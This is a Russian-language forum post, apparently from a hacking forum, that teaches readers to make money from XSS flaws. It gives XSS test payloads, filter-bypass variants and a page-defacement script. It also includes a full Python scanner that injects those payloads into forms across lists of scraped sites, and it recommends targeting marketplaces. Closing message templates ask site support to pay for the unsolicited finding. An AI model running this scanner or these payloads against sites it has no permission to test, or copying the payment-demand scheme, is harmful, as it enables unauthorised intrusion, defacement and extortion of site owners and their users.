Легкий заработок на xss уязвимости

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Author: tonorov
Forum:XSS.IS


Как можно заработать на обычной xss уязвимости

Чтож ребят, основная суть в том что мы будем искать xss уязвимости на сайтах и сообщать в техподдержку о ее находке, за что нам по факту должны отвалить бабла. Это моя первая статья написаная с моего опыта, прошу не кидаться палками.

Как будет идти ворк:
1. Ищем сайт с XSS уязвимостью
2. Связываемся с поддержкой сайта
3. Просим у них деньги за обнаружение уязвимости

Что такое xss уязвимость?
XSS (Cross-Site Scripting) - межсайтовый скриптинг, всего существует два наиболее популярных XSS уязвимостей

1. Stored XSS: вредоносный скрипт сохраняется на сервере, затем отображается пользователям, когда они посещают определённую страницу. Скрипт может храниться на целевых серверах — например, в базе данных, доске объявлений, журнале посетителей, поле комментариев и т. д. Когда другие пользователи заходят на страницу, где был сохранён этот код, он выполняется в их браузере, часто дефейсят сайты именно с помощью него

2. Reflected XSS: вредоносный скрипт передаётся пользователю через URL или форму регистрации, заказа и т. д. Например, такой вид атак распространён в соцсетях, когда пользователю отправляют ссылку с просьбой принять участие в голосовании. Вредоносные ссылки также используют в комментариях, в письмах на электронную почту и SMS-сообщениях. Как правило, ссылки похожи на адрес сайта, но в них могут быть изменены или добавлены буквы. Этот тип уязвимости мы и будем использовать при нашем ворке.

3. XSS на основе DOM — особенность данного типа атаки в том, что она эксплуатирует уязвимости DOM (очевидно). В отличии от двух других типов, в этом страница на сервере не меняется. Нам приходит совершенно безопасный HTML, но JS, который уже запустится на клиенте, отработает неправильно из‑за внедренного в него скрипта. Другими словами, главное отличие XSS на основе DOM в том, что эксплойт добавляется на страницу в рантайме, в момент запуска JS и он никогда не покидает пределы браузера.
Приступаем к главному. Как проверить сайт на xss уязвимость


Для проверки сайта на наличие XSS уязвимости достаточно вставить в поисковую строку следующий JS код

⁡><script>alert("ЛЮБОЙ ТЕКСТ")</script> можете вставить любое слово в скобки, например ⁡><script>alert("XSS")</script> но особую роль это играть не будет


Для примера возьму сайт stolplit.ru ( сайт уже не работает)
5a3486eb-79ec-4674-a3bb-695bb4abbc17.png

b13785c2-169c-4a77-9c18-595396d2473c.png


Т.е если на сайте появляется уведомление с надписью "XSS" или любое слово которые вы ввели

Также еще один пример проверки xss уязвимости с подменой кода сайта

⁡>"<script>document.body.innerHTML = "<H1 style='color: black; text-align: center;'>C 22.11.2024 сайт перестаёт работать</H1>";</script>

9VNePGP.png

Опасность тут в том, что любой кто перейдёт по этой ссылке на сайт, увидит именно наш html код, а не html код сайта.


Теперь немного про обход слабой защиты от XSS уязвимости.
На сайте может быть фильтр удаляющий «<script>» или «<, >» из запроса, обойти его можно используя немного другой JS код, например:

⁡<img src="wrongSrc" onerror="alert('XSS')"/>

или

⁡" autofocus onfocus=alert("XSS")//

Поиск сайтов с XSS уязвимостью

Сайты с XSS уязвимостью можно искать и вручную, но, тогда большая часть нашего времени будет уходить впустую. Я сделал простой пайтон скрипт который будет сканировать введеные вами сайты на наличие уязвимости
Инструкция по установке пайтона для работы скрипта
1. Загружаем установочный файл Python3 с официального сайта
(https://www.python.org/downloads/release/python-3115/ )
2. Запускаем установочный файл и следуем иснтрукциям по установке.
* при установке необходимо выбрать опцию "Add Python 3.x to PATH".
3. После установки Python3, открываем командную строку (cmd), или termux если вы на телефоне, и вводим следующие команды для установки нужных библиотек

⁡pip install bs4

⁡⁡⁡pip install requests
⁡pip install colorama

4. Создаем папку, например W0RK. В этой папке создаём 2 файла - main.py и site.txt (в первом файле сам скрипт, а во втором сайты которые будете сканировать)
5. В файл main.py необходимо вставить код предоставленный ниже
Код Python:

Python: Скопировать в буфер обмена
Код:
import logging
import random
import requests
import time
from bs4 import BeautifulSoup as bs
from urllib.parse import urljoin
from colorama import init, Fore, Style

init(autoreset=True)
logging.basicConfig(level=logging.INFO)

# Список User-Agentov
user_agents = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Safari/605.1.15",
    "Mozilla/5.0 (Linux; Android 10; Pixel 3 XL) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Mobile Safari/537.36",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1",
 
]

def save(url):
    with open("goods.txt", "a") as file:
        file.write(f"{url}\n")

def get_forms(soup):
    return soup.find_all("form")

def extract_form_details(form):
    details = {}
    action = form.attrs.get("action")
    method = form.attrs.get("method", "get")
   
    if action and not action.startswith("javascript"):
        details["action"] = action.lower()
        details["method"] = method.lower()
       
        inputs = []
        for input_tag in form.find_all(["input", "textarea"]):
            input_type = input_tag.attrs.get("type", "text")
            input_name = input_tag.attrs.get("name")
            if input_name:
                inputs.append({"type": input_type, "name": input_name})
       
        details["inputs"] = inputs
        return details
    return None

def scan_xss(url, stop_time, timeout):
    stop_time = time.time() + stop_time
    session = requests.Session()

    try:
        # Выбор случайного User-Agent перед каждым запросом
        headers = {
            "User-Agent": random.choice(user_agents)
        }
        session.headers.update(headers)

        html = session.get(url, timeout=timeout)
        html.raise_for_status()
        soup = bs(html.content, "html.parser")
        forms = get_forms(soup)
        payloads = ["<script>alert('topor')</script>", "<img src=x onerror=alert('topor')>", "<script type=text/javascript>alert('topor')</script>", "<SCRIPT>alert('topor')</SCRIPT>"]

        for form in forms:
            if time.time() > stop_time:
                break
           
            form_details = extract_form_details(form)
            if not form_details:
                continue
           
            target_url = urljoin(url, form_details["action"])
            data = {input["name"]: "" for input in form_details["inputs"] if input["name"]}

            for payload in payloads:
                for key in data.keys():
                    data[key] = payload  # Меняем значение каждого поля на полезную нагрузку
                   
                    if form_details["method"] == "post":
                        content = session.post(target_url, data=data, timeout=timeout).content.decode('latin-1')
                    else:
                        content = session.get(target_url, params=data, timeout=timeout).content.decode('latin-1')
                       
                    if payload in content:
                        save(url)
                        logging.info(f"{Fore.RED}[+] XSS Detected on {url}{Style.RESET_ALL}")
                        break

    except requests.RequestException as e:
        logging.error(f"Error fetching {url}: {e}")

if __name__ == "__main__":
    checked_urls = set()
   
    with open('site.txt', 'r', encoding="UTF-8") as urls:
        for element in urls:
            url = element.strip()
            if url in checked_urls:
                continue
           
            logging.info(f"Scanning {url}")
            checked_urls.add(url)
            scan_xss(url, 180, 20)


После этого копируем путь к вашему файлу нажимая на эту панель
pic.jpg

\

после этого заходим в терминал cmd/termux и вводим cd путьквашемуфайлу, в моем случае cd C:\idkss\W0RK вводим комманду ⁡python main.py

После запуска скрипт начнёт проверять сайты из файла на наличие XSS уязвимости, если он обнаружит сайт с уязвимостью, то выведет красным цветом его url и белым дополнительную информацию (где конкретно он нашёл уязвимость), а так же запишет url сайта в файл goods.txt.

Важное уточнение: возможны ложные срабатывания скрипта (может вывести сайт без уязвимости), все это из-за cloudflare и т.д поэтому всегда перепроверяйте сайт вручную.

Где взять сайты?

Заходим на любой сайт для выгрузки топ 100 сайтов из яндекса или гугла, например https://pr-cy.ru/tools/check-keywords/
Вводим поисковый запрос который нам нужен, советую выбирать сайты где крутятся деньги, в моем случае это маркетплейсы, выбираем мобильное устройство и регион по желанию

ss.png


ss1.png

Получаем ссылки и копируем их в файл site.txt
Связываемся с поддержкой сайта
После того как скриптом был найден сайт с уязвимостью, первым делом вы перепроверяете наличие уязвимости на сайте. После находки сайтов с тп ищем их электронные почты и рассылаем сообщения.
ba0e3da1-13f0-4931-b1e0-1e94ef01fe5c.png


Что писать в тех. поддержку?

Первое сообщение
Здравствуйте, я нашёл довольно опасную уязвимость на вашем сайте, могу подробнее рассказать о ней
Второе сообщение
У вас на сайте XSS уязвимость, т.е сайт выполняет любой мой JS код на стороне пользователя. Это может привести к подмене кода сайта, краже данных пользователей, их аккаунтов или созданию фейковых уведомлений. Для устранения достаточно просто фильтровать данные вводимые пользователем, например убирать <, >, /, (, ) из запроса.

Вот один из самых простых примеров эксплуатации данной уязвимости - подмена HTML кода сайта (и стилей CSS)

формируем JS код
<script>document.body.innerHTML = "<H1 style='color: black; text-align: center;'><br>C 01.05.2024 сайт перестаёт работать</H1>";</script>
вставляем его в поисковую строку на вашем сайте, выполняем запрос и получаем результат
(Фото с выполнением JS кода на сайте)
Опасность тут в том, что любой кто перейдёт по ссылке увидит именно мой html код, а не html код сайта (можете перейти и убедиться)
(Ссылка на их сайт с выполняющимся JS кодом)

На этом статья окончена, надеюсь что у кого то получится заработать денег таким способом,всем удачи!
 
Сверху Снизу